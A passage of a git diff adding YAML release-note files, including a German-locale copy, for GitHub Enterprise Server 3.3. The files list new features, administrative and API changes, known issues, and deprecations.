+        # https://github.com/github/releases/issues/1734
+        - When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn't include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation.
+
+        # https://github.com/github/releases/issues/1637
+        - |
+          A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call.
+
+          Commits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests).
+
+        # https://github.com/github/releases/issues/1665
+        - When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload's `after` commit.
+
+    - heading: 'Performance Changes'
+      notes:
+        # https://github.com/github/releases/issues/1823
+        - Page loads and jobs are now significantly faster for repositories with many Git refs.
+
+  # No security/bug fixes for the RC release
+  # security_fixes:
+  #   - PLACEHOLDER
+
+  # bugs:
+  #   - PLACEHOLDER
+
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+
+  deprecations:
+    - heading: Deprecation of GitHub Enterprise Server 2.22
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+    - heading: Deprecation of GitHub Enterprise Server 3.0
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+
+    - heading: Deprecation of XenServer Hypervisor support
+      notes:
+        # https://github.com/github/docs-content/issues/4439
+        - Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.
+
+    - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters
+      notes:
+        # https://github.com/github/releases/issues/1316
+        - |
+          To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements:
+
+          * [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make)
+          * [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)
+
+          These endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4.
+
+    - heading: Deprecation of the CodeQL runner
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).
+
+    - heading: Deprecation of custom bit-cache extensions
+      notes:
+        # https://github.com/github/releases/issues/1415
+        - |
+          Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3.
+
+          Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated.
+
+          Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.
+
+          To start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the **Schedule** button.
+
+  backups:
+    - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/0.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/0.yml
new file mode 100644
index 0000000000..5aec8eca3f
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/0.yml
@@ -0,0 +1,305 @@
+date: '2021-12-07'
+intro: For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."<br><br>**Note:** We are aware of an issue where {% data variables.product.prodname_actions %} may fail to start automatically following the upgrade to {% data variables.product.prodname_ghe_server %} 3.3. To resolve, connect to the appliance via SSH and run the `ghe-actions-start` command.
+sections:
+  features:
+    - heading: Security Manager role
+      notes:
+        # https://github.com/github/releases/issues/1610
+        - |
+          Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The "security manager" role can be applied to any team and grants the team's members the following access:
+
+          - Read access on all repositories in the organization.
+          - Write access on all security alerts in the organization.
+          - Access to the organization-level security tab.
+          - Write access on security settings at the organization level.
+          - Write access on security settings at the repository level.
+
+          The security manager role is available as a public beta and subject to change. For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)." [Updated 2022-07-29]
+
+    - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling'
+      notes:
+        # https://github.com/github/releases/issues/1378
+        - |
+          {% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier.
+
+          Ephemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.location.product_location %}, allowing you to perform any post-job management.
+
+          You can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests.
+
+          For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)."
+
+    - heading: 'Dark high contrast theme'
+      notes:
+        # https://github.com/github/releases/issues/1539
+        - |
+          A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes.
+
+          ![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif)
+
+          For more information about changing your theme, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)."
+
+  changes:
+    - heading: Administration Changes
+      notes:
+        # https://github.com/github/releases/issues/1666
+        - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.'
+
+        # https://github.com/github/releases/issues/1533
+        - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."'
+
+        # https://github.com/github/releases/issues/1616
+        - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."'
+
+        # https://github.com/github/releases/issues/1609
+        - A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity.
+
+        # https://github.com/github/docs-content/issues/5801
+        - The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09]
+
+    - heading: Token Changes
+      notes:
+        # https://github.com/github/releases/issues/1390
+        - |
+          An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original.
+
+          When using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+    - heading: 'Notifications changes'
+      notes:
+        # https://github.com/github/releases/issues/1625
+        - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.'
+
+    - heading: 'Repositories changes'
+      notes:
+        # https://github.com/github/releases/issues/1735
+        - Public repositories now have a `Public` label next to their names like private and internal repositories. This change makes it easier to identify public repositories and avoid accidentally committing private code.
+
+        # https://github.com/github/releases/issues/1733
+        - If you specify the exact name of a branch when using the branch selector menu, the result now appears at the top of the list of matching branches. Previously, exact branch name matches could appear at the bottom of the list.
+
+        # https://github.com/github/releases/issues/1673
+        - When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request.
+
+        # https://github.com/github/releases/issues/1670
+        - You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers.
+
+        # https://github.com/github/releases/issues/1571
+        - When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)."
+
+        # https://github.com/github/releases/issues/1752
+        - A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/).
+
+        # https://github.com/github/releases/issues/1416
+        - You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)."
+
+    - heading: 'Markdown changes'
+      notes:
+        # https://github.com/github/releases/issues/1645
+        - |
+          You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments.
+
+          * To add quotes, use <kbd>cmd shift .</kbd> on Mac, or <kbd>ctrl shift .</kbd> on Windows and Linux.
+          * To add an ordered list, use <kbd>cmd shift 7</kbd> on Mac, or <kbd>ctrl shift 7</kbd> on Windows and Linux.
+          * To add an unordered list, use <kbd>cmd shift 8</kbd> on Mac, or <kbd>ctrl shift 8</kbd> on Windows and Linux.
+
+          See "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)" for a full list of available shortcuts.
+
+        # https://github.com/github/releases/issues/1684
+        - You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)."
+
+        # https://github.com/github/releases/issues/1647
+        - When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file.
+
+        # https://github.com/github/releases/issues/1600
+        - You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)."
+
+        # https://github.com/github/releases/issues/1523
+        - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.'
+
+        # https://github.com/github/releases/issues/1626
+        - When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file.
+
+    - heading: 'Issues and pull requests changes'
+      notes:
+        # https://github.com/github/releases/issues/1504
+        - You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)."
+
+        # https://github.com/github/releases/issues/1685
+        - |
+          Improvements have been made to help teams manage code review assignments. You can now:
+
+          - Limit assignment to only direct members of the team.
+          - Continue with automatic assignment even if one or more members of the team are already requested.
+          - Keep a team assigned to review even if one or more members is newly assigned.
+
+          The timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members.
+
+          For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/).
+        - You can now filter pull request searches to only include pull requests you are directly requested to review.
+        # https://github.com/github/releases/issues/1683
+        - Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."
+
+    - heading: 'GitHub Actions changes'
+      notes:
+        # https://github.com/github/releases/issues/1593
+        - You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)."
+
+        # https://github.com/github/releases/issues/1694
+        - Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise's self-hosted runners.
+
+        # https://github.com/github/releases/issues/1157
+        - |
+          The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events:
+
+          * A self-hosted runner is registered or removed.
+          * A self-hosted runner is added to a runner group, or removed from a runner group.
+          * A runner group is created or removed.
+          * A workflow run is created or completed.
+          * A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner.
+
+          For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)."
+
+        # https://github.com/github/releases/issues/1588
+        - '{% data variables.product.prodname_ghe_server %} 3.3 contains performance improvements for job concurrency with {% data variables.product.prodname_actions %}. For more information about the new performance targets for a range of CPU and memory configurations, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)."'
+
+        # https://github.com/github/releases/issues/1556
+        - To mitigate insider man in the middle attacks when using actions resolved through {% data variables.product.prodname_github_connect %} to {% data variables.product.prodname_dotcom_the_website %} from {% data variables.product.prodname_ghe_server %}, the actions namespace (`owner/name`) is retired on use. Retiring the namespace prevents that namespace from being created on your {% data variables.product.prodname_ghe_server %} instance, and ensures all workflows referencing the action will download it from {% data variables.product.prodname_dotcom_the_website %}.
+
+    - heading: 'GitHub Packages changes'
+      notes:
+        # https://github.com/github/docs-content/issues/5554
+        - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage.
+
+    - heading: 'Dependabot and Dependency graph changes'
+      notes:
+        # https://github.com/github/releases/issues/1141
+        - Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."
+
+        # https://github.com/github/releases/issues/1630
+        - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.'
+
+    - heading: 'Code scanning and secret scanning changes'
+      notes:
+        # https://github.com/github/releases/issues/1724
+        - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts.
+
+        # https://github.com/github/releases/issues/1639
+        - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).'
+
+        # https://github.com/github/releases/issues/1655
+        - |
+          Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request.
+
+          Some other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/).
+
+        # https://github.com/github/releases/issues/1546
+        - You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/).
+
+        # https://github.com/github/releases/issues/1562
+        - User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository's entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."
+
+    - heading: API and webhook changes
+      notes:
+        # https://github.com/github/releases/issues/1744
+        - Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)."
+
+        # https://github.com/github/releases/issues/1513
+        - You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)."
+
+        # https://github.com/github/releases/issues/1578
+        - You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/1527
+        - Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)."
+
+        # https://github.com/github/releases/issues/1476
+        - You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/1485
+        - GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository's issues and pull requests, and to access a public repository's comments and content.
+
+        # https://github.com/github/releases/issues/1734
+        - When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn't include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation.
+
+        # https://github.com/github/releases/issues/1637
+        - |
+          A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call.
+
+          Commits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests).
+
+        # https://github.com/github/releases/issues/1665
+        - When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload's `after` commit.
+
+    - heading: 'Performance Changes'
+      notes:
+        # https://github.com/github/releases/issues/1823
+        - Page loads and jobs are now significantly faster for repositories with many Git refs.
+
+  # No security/bug fixes for the RC release
+  # security_fixes:
+  #   - PLACEHOLDER
+
+  # bugs:
+  #   - PLACEHOLDER
+
+  known_issues:
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command.
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3 instances installed on Azure and provisioned with 32+ CPU cores would fail to launch, due to a bug present in the current Linux kernel. [Updated: 2022-04-08]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
+  deprecations:
+    - heading: Deprecation of GitHub Enterprise Server 2.22
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+    - heading: Deprecation of GitHub Enterprise Server 3.0
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+
+    - heading: Deprecation of XenServer Hypervisor support
+      notes:
+        # https://github.com/github/docs-content/issues/4439
+        - Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.
+
+    - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters
+      notes:
+        # https://github.com/github/releases/issues/1316
+        - |
+          To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements:
+
+          * [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make)
+          * [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)
+
+          These endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4.
+
+    - heading: Deprecation of the CodeQL runner
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).
+
+    - heading: Deprecation of custom bit-cache extensions
+      notes:
+        # https://github.com/github/releases/issues/1415
+        - |
+          Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3.
+
+          Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated.
+
+          Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.
+
+          To start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the **Schedule** button.
+
+    - heading: Change to the format of authentication tokens affects GitHub Connect
+      notes:
+        # https://github.com/github/releases/issues/1235
+        - |
+          GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. To continue using GitHub Connect, upgrade to GitHub Enterprise Server 3.2 or later. For more information, see the [GitHub Blog](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/). [Updated: 2022-06-14]
+
+  backups:
+    - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
